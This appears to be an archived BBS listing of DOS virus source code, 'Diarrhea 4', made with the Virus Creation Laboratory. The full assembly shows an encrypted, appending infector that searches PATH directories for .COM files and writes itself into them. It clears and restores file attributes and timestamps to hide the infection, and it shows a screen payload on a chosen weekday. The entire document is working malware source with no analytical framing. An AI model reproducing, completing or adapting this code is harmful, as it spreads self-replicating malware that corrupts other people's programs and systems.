home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / diarrhe4.asm < prev    next >
Assembly Source File  |  1992-08-07  |  18KB  |  425 lines

  1. ; DIARRHE4.ASM -- DIARRHEA 4
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by URNST KOUCH
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     1                       ; We're encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt         ; Decrypt the virus
  20.  
  21. start_of_code   label   near
  22.  
  23.         lea     si,[bp + buffer]        ; SI points to original start
  24.         mov     di,0100h                ; Push 0100h on to stack for
  25.         push    di                      ; return to main program
  26.         movsw                           ; Copy the first two bytes
  27.         movsb                           ; Copy the third byte
  28.  
  29.         mov     di,bp                   ; DI points to start of virus
  30.  
  31.         mov     bp,sp                   ; BP points to stack
  32.         sub     sp,128                  ; Allocate 128 bytes on stack
  33.  
  34.         mov     ah,02Fh                 ; DOS get DTA function
  35.         int     021h
  36.         push    bx                      ; Save old DTA address on stack
  37.  
  38.         mov     ah,01Ah                 ; DOS set DTA function
  39.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  40.         int     021h
  41.  
  42.         call    get_weekday
  43.         cmp     ax,0005h                ; Did the function return 5?
  44.         je      strt00                  ; If equal, do effect
  45.         jmp     end00                   ; Otherwise skip over it
  46. strt00:         lea     si,[di + data00]        ; SI points to data
  47.         mov     cx,0107h                ; Second argument is 263
  48.         push    di                      ; Save DI
  49.         push    es                      ; Save ES
  50.  
  51.         jcxz    uncrunch_done           ; Exit if there are no characters
  52.  
  53.         mov     ah,0Fh                  ; BIOS get screen mode function
  54.         int     10h
  55.         xor     ah,ah                   ; BIOS set screen mode function
  56.         int     10h                     ; Clear the screen
  57.  
  58.         xor     di,di
  59.         mov     ax,0B800h               ; AX is set to video segment
  60.         mov     es,ax                   ; ES holds video segment
  61.  
  62.         mov     dx,di                   ; Save X coordinate for later
  63.         xor     ax,ax                   ; Set current attributes
  64.         cld
  65.  
  66. loopa:          lodsb                           ; Get next character
  67.         cmp     al,32                   ; Is it a control character?
  68.         jb      foreground              ; Handle it if it is
  69.         stosw                           ; Save letter on screen
  70. next:           loop    loopa                   ; Repeat until we're done
  71.         jmp     short uncrunch_done     ; Leave this routine
  72.  
  73. foreground:     cmp     al,16                   ; Are we changing the foreground?
  74.         jnb     background              ; If not, check the background
  75.         and     ah,0F0h                 ; Strip off old foreground
  76.         or      ah,al                   ; Put the new one on
  77.         jmp     short next              ; Resume looping
  78.  
  79. background:     cmp     al,24                   ; Are we changing the background?
  80.         je      next_line               ; If AL = 24, go to next line
  81.         jnb     flash_bit_toggle        ; If AL > 24 set the flash bit
  82.         sub     al,16                   ; Change AL to a color number
  83.         add     al,al                   ; Crude way of shifting left
  84.         add     al,al                   ; four bits without changing
  85.         add     al,al                   ; CL or wasting space.  Ok,
  86.         add     al,al                   ; I guess.
  87.         and     al,08Fh                 ; Strip off old background
  88.         or      ah,al                   ; Put the new one on
  89.         jmp     short next              ; Resume looping
  90.  
  91. next_line:      add     dx,160                  ; Skip a whole line (80 chars.
  92.         mov     di,dx                   ; AND 80 attribs.)
  93.         jmp     short next              ; Resume looping
  94.  
  95. flash_bit_toggle: cmp   al,27                   ; Is it a blink toggle?
  96.         jb      multi_output            ; If AL < 27, it's a blinker
  97.         jne     next                    ; Otherwise resume looping
  98.         xor     ah,128                  ; Toggle the flash bit
  99.         jmp     short next              ; Resume looping
  100.  
  101. multi_output:   cmp     al,25                   ; Set Zero flag if multi-space
  102.         mov     bx,cx                   ; Save main counter
  103.         lodsb                           ; Get number of repititions
  104.         mov     cl,al                   ; Put it in CL
  105.         mov     al,' '                  ; AL holds a space
  106.         jz      start_output            ; If displaying spaces, jump
  107.         lodsb                           ; Otherwise get character to use
  108.         dec     bx                      ; Adjust main counter
  109.  
  110. start_output:   xor     ch,ch                   ; Clear CH
  111.         inc     cx                      ; Add one to count
  112.     rep     stosw                           ; Display the character
  113.         mov     cx,bx                   ; Restore main counter
  114.         dec     cx                      ; Adjust main counter
  115.         loopnz  loopa                   ; Resume looping if not done
  116.  
  117. uncrunch_done:  pop     es                      ; Restore ES
  118.         pop     di                      ; Restore DI
  119.  
  120. end00:          call    search_files            ; Find and infect a file
  121.  
  122.  
  123. com_end:        pop     dx                      ; DX holds original DTA address
  124.         mov     ah,01Ah                 ; DOS set DTA function
  125.         int     021h
  126.  
  127.         mov     sp,bp                   ; Deallocate local buffer
  128.  
  129.         xor     ax,ax                   ;
  130.         mov     bx,ax                   ;
  131.         mov     cx,ax                   ;
  132.         mov     dx,ax                   ; Empty out the registers
  133.         mov     si,ax                   ;
  134.         mov     di,ax                   ;
  135.         mov     bp,ax                   ;
  136.  
  137.         ret                             ; Return to original program
  138. main            endp
  139.  
  140. search_files    proc    near
  141.         mov     bx,di                   ; BX points to the virus
  142.         push    bp                      ; Save BP
  143.         mov     bp,sp                   ; BP points to local buffer
  144.         sub     sp,135                  ; Allocate 135 bytes on stack
  145.  
  146.         mov     byte ptr [bp - 135],'\' ; Start with a backslash
  147.  
  148.         mov     ah,047h                 ; DOS get current dir function
  149.         xor     dl,dl                   ; DL holds drive # (current)
  150.         lea     si,[bp - 134]           ; SI points to 64-byte buffer
  151.         int     021h
  152.  
  153.         call    traverse_path           ; Start the traversal
  154.  
  155. traversal_loop: cmp     word ptr [bx + path_ad],0       ; Was the search unsuccessful?
  156.         je      done_searching          ; If so then we're done
  157.         call    found_subdir            ; Otherwise copy the subdirectory
  158.  
  159.         mov     ax,cs                   ; AX holds the code segment
  160.         mov     ds,ax                   ; Set the data and extra
  161.         mov     es,ax                   ; segments to the code segment
  162.  
  163.         xor     al,al                   ; Zero AL
  164.         stosb                           ; NULL-terminate the directory
  165.  
  166.         mov     ah,03Bh                 ; DOS change directory function
  167.         lea     dx,[bp - 70]            ; DX points to the directory
  168.         int     021h
  169.  
  170.         lea     dx,[bx + com_mask]      ; DX points to "*.COM"
  171.         push    di
  172.         mov     di,bx
  173.         call    find_files              ; Try to infect a .COM file
  174.         mov     bx,di
  175.         pop     di
  176.         jnc     done_searching          ; If successful the exit
  177.         jmp     short traversal_loop    ; Keep checking the PATH
  178.  
  179. done_searching: mov     ah,03Bh                 ; DOS change directory function
  180.         lea     dx,[bp - 135]           ; DX points to old directory
  181.         int     021h
  182.  
  183.         cmp     word ptr [bx + path_ad],0       ; Did we run out of directories?
  184.         jne     at_least_tried          ; If not then exit
  185.         stc                             ; Set the carry flag for failure
  186. at_least_tried: mov     sp,bp                   ; Restore old stack pointer
  187.         pop     bp                      ; Restore BP
  188.         ret                             ; Return to caller
  189. com_mask        db      "*.COM",0               ; Mask for all .COM files
  190. search_files    endp
  191.  
  192. traverse_path   proc    near
  193.         mov     es,word ptr cs:[002Ch]  ; ES holds the enviroment segment
  194.         xor     di,di                   ; DI holds the starting offset
  195.  
  196. find_path:      lea     si,[bx + path_string]   ; SI points to "PATH="
  197.         lodsb                           ; Load the "P" into AL
  198.         mov     cx,08000h               ; Check the first 32767 bytes
  199.     repne   scasb                           ; Search until the byte is found
  200.         mov     cx,4                    ; Check the next four bytes
  201. check_next_4:   lodsb                           ; Load the next letter of "PATH="
  202.         scasb                           ; Compare it to the environment
  203.         jne     find_path               ; If there not equal try again
  204.         loop    check_next_4            ; Otherwise keep checking
  205.  
  206.         mov     word ptr [bx + path_ad],di      ; Save the PATH address
  207.         mov     word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
  208.         ret                             ; Return to caller
  209.  
  210. path_string     db      "PATH="                 ; The PATH string to search for
  211. path_ad         dd      ?                       ; Holds the PATH's address
  212. traverse_path   endp
  213.  
  214. found_subdir    proc    near
  215.         lds     si,dword ptr [bx + path_ad]     ; DS:SI points to PATH
  216.         lea     di,[bp - 70]            ; DI points to the work buffer
  217.         push    cs                      ; Transfer CS into ES for
  218.         pop     es                      ; byte transfer
  219. move_subdir:    lodsb                           ; Load the next byte into AL
  220.         cmp     al,';'                  ; Have we reached a separator?
  221.         je      moved_one               ; If so we're done copying
  222.         or      al,al                   ; Are we finished with the PATH?
  223.         je      moved_last_one          ; If so get out of here
  224.         stosb                           ; Store the byte at ES:DI
  225.         jmp     short move_subdir       ; Keep transfering characters
  226.  
  227. moved_last_one: xor     si,si                   ; Zero SI to signal completion
  228. moved_one:      mov     word ptr es:[bx + path_ad],si  ; Store SI in the path address
  229.         ret                             ; Return to caller
  230. found_subdir    endp
  231.  
  232. find_files      proc    near
  233.         push    bp                      ; Save BP
  234.  
  235.         mov     ah,02Fh                 ; DOS get DTA function
  236.         int     021h
  237.         push    bx                      ; Save old DTA address
  238.  
  239.         mov     bp,sp                   ; BP points to local buffer
  240.         sub     sp,128                  ; Allocate 128 bytes on stack
  241.  
  242.         push    dx                      ; Save file mask
  243.         mov     ah,01Ah                 ; DOS set DTA function
  244.         lea     dx,[bp - 128]           ; DX points to buffer
  245.         int     021h
  246.  
  247.         mov     ah,04Eh                 ; DOS find first file function
  248.         mov     cx,00100111b            ; CX holds all file attributes
  249.         pop     dx                      ; Restore file mask
  250. find_a_file:    int     021h
  251.         jc      done_finding            ; Exit if no files found
  252.         call    infect_file             ; Infect the file!
  253.         jnc     done_finding            ; Exit if no error
  254.         mov     ah,04Fh                 ; DOS find next file function
  255.         jmp     short find_a_file       ; Try finding another file
  256.  
  257. done_finding:   mov     sp,bp                   ; Restore old stack frame
  258.         mov     ah,01Ah                 ; DOS set DTA function
  259.         pop     dx                      ; Retrieve old DTA address
  260.         int     021h
  261.  
  262.         pop     bp                      ; Restore BP
  263.         ret                             ; Return to caller
  264. find_files      endp
  265.  
  266. infect_file     proc    near
  267.         mov     ah,02Fh                 ; DOS get DTA address function
  268.         int     021h
  269.         mov     si,bx                   ; SI points to the DTA
  270.  
  271.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  272.  
  273.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  274.         jbe     size_ok                 ; If it's small enough continue
  275.         jmp     infection_done          ; Otherwise exit
  276.  
  277. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  278.         lea     dx,[si + 01Eh]          ; DX points to file name
  279.         int     021h
  280.         xchg    bx,ax                   ; BX holds file handle
  281.  
  282.         mov     ah,03Fh                 ; DOS read from file function
  283.         mov     cx,3                    ; CX holds bytes to read (3)
  284.         lea     dx,[di + buffer]        ; DX points to buffer
  285.         int     021h
  286.  
  287.         mov     ax,04202h               ; DOS file seek function, EOF
  288.         cwd                             ; Zero DX _ Zero bytes from end
  289.         mov     cx,dx                   ; Zero CX /
  290.         int     021h
  291.  
  292.         xchg    dx,ax                   ; Faster than a PUSH AX
  293.         mov     ah,03Eh                 ; DOS close file function
  294.         int     021h
  295.         xchg    dx,ax                   ; Faster than a POP AX
  296.  
  297.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  298.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  299.         je      infection_done          ; If equal then exit
  300.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  301.         add     ax,finish - start       ; Re-adjust to make the jump
  302.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  303.  
  304.         mov     ax,04301h               ; DOS set file attrib. function
  305.         xor     cx,cx                   ; Clear all attributes
  306.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  307.         int     021h
  308.  
  309.         mov     ax,03D02h               ; DOS open file function, r/w
  310.         int     021h
  311.         xchg    bx,ax                   ; BX holds file handle
  312.  
  313.         mov     ah,040h                 ; DOS write to file function
  314.         mov     cx,3                    ; CX holds bytes to write (3)
  315.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  316.         int     021h
  317.  
  318.         mov     ax,04202h               ; DOS file seek function, EOF
  319.         cwd                             ; Zero DX _ Zero bytes from end
  320.         mov     cx,dx                   ; Zero CX /
  321.         int     021h
  322.  
  323.         push    si                      ; Save SI through call
  324.         call    encrypt_code            ; Write an encrypted copy
  325.         pop     si                      ; Restore SI
  326.  
  327.         mov     ax,05701h               ; DOS set file time function
  328.         mov     cx,[si + 016h]          ; CX holds old file time
  329.         mov     dx,[si + 018h]          ; DX holds old file date
  330.         int     021h
  331.  
  332.         mov     ah,03Eh                 ; DOS close file function
  333.         int     021h
  334.  
  335.         mov     ax,04301h               ; DOS set file attrib. function
  336.         xor     ch,ch                   ; Clear CH for file attribute
  337.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  338.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  339.         int     021h
  340.  
  341. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  342.         ret                             ; Return to caller
  343.  
  344. set_carry       db      ?                       ; Set-carry-on-exit flag
  345. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  346. new_jump        db      0E9h,?,?                ; New jump to virus
  347. infect_file     endp
  348.  
  349.  
  350. get_weekday     proc    near
  351.         mov     ah,02Ah                 ; DOS get date function
  352.         int     021h
  353.         cbw                             ; Sign-extend AL into AX
  354.         ret                             ; Return to caller
  355. get_weekday     endp
  356.  
  357. data00          DB      15,16,24,24,24,24,24,24,25,3,12,'╥──┐ ╓──┐ ╓─╥─┐  ╓─'
  358.         DB      '╥─┐ ╥  ┬  ╥──┐ ─╥─ ╓──┐ ╥──┐ ╥──┐ ╥  ┬ ╥──┐ ╓──┐ ╥',24
  359.         DB      25,3,'╟─',25,2,'╟──┤',25,2,'║',25,3,'║ ║ │ ╙──┤  ║  '
  360.         DB      '│  ║  ╟──┤ ╟─┬┘ ╟─┬┘ ╟──┤ ╟─',25,2,'╟──┤ ║',24,25,3,'╨'
  361.         DB      '──┘ ╨  ┴',25,2,'╨',25,3,'╨ ╨ ┴ ╙──┘  ╨──┘ ─╨─ ╨  ┴ '
  362.         DB      '╨ ┴  ╨ ┴  ╨  ┴ ╨──┘ ╨  ┴ o',24,25,19,14,'-GG Allin '
  363.         DB      '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24
  364.         DB      24,24,24,24
  365.  
  366. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  367.  
  368. encrypt_code    proc    near
  369.         push    bp                      ; Save BP
  370.         mov     bp,di                   ; Use BP as pointer to code
  371.         lea     si,[bp + encrypt_decrypt]; SI points to cipher routine
  372.  
  373.         xor     ah,ah                   ; BIOS get time function
  374.         int     01Ah
  375.         mov     word ptr [si + 9],dx    ; Low word of timer is new key
  376.  
  377.         xor     byte ptr [si + 1],8     ;
  378.         xor     byte ptr [si + 8],1     ; Change all SIs to DIs
  379.         xor     word ptr [si + 11],0101h; (and vice-versa)
  380.  
  381.         lea     di,[bp + finish]        ; Copy routine into heap
  382.         mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
  383.         push    si                      ; Save SI for later
  384.         push    cx                      ; Save CX for later
  385.     rep     movsb                           ; Copy the bytes
  386.  
  387.         lea     si,[bp + write_stuff]   ; SI points to write stuff
  388.         mov     cx,5                    ; CX holds length of write
  389.     rep     movsb                           ; Copy the bytes
  390.  
  391.         pop     cx                      ; Restore CX
  392.         pop     si                      ; Restore SI
  393.         inc     cx                      ; Copy the RET also this time
  394.     rep     movsb                           ; Copy the routine again
  395.  
  396.         mov     ah,040h                 ; DOS write to file function
  397.         lea     dx,[bp + start]         ; DX points to virus
  398.  
  399.         lea     si,[bp + finish]        ; SI points to routine
  400.         call    si                      ; Encrypt/write/decrypt
  401.  
  402.         mov     di,bp                   ; DI points to virus again
  403.         pop     bp                      ; Restore BP
  404.         ret                             ; Return to caller
  405.  
  406. write_stuff:    mov     cx,finish - start       ; Length of code
  407.         int     021h
  408. encrypt_code    endp
  409.  
  410. end_of_code     label   near
  411.  
  412. encrypt_decrypt proc    near
  413.         lea     si,[bp + start_of_code] ; SI points to code to decrypt
  414.         mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
  415. xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
  416.         inc     si                      ; Do the next word
  417.         inc     si                      ;
  418.         loop    xor_loop                ; Loop until we're through
  419.         ret                             ; Return to caller
  420. encrypt_decrypt endp
  421. finish          label   near
  422.  
  423. code            ends
  424.         end     main
  425.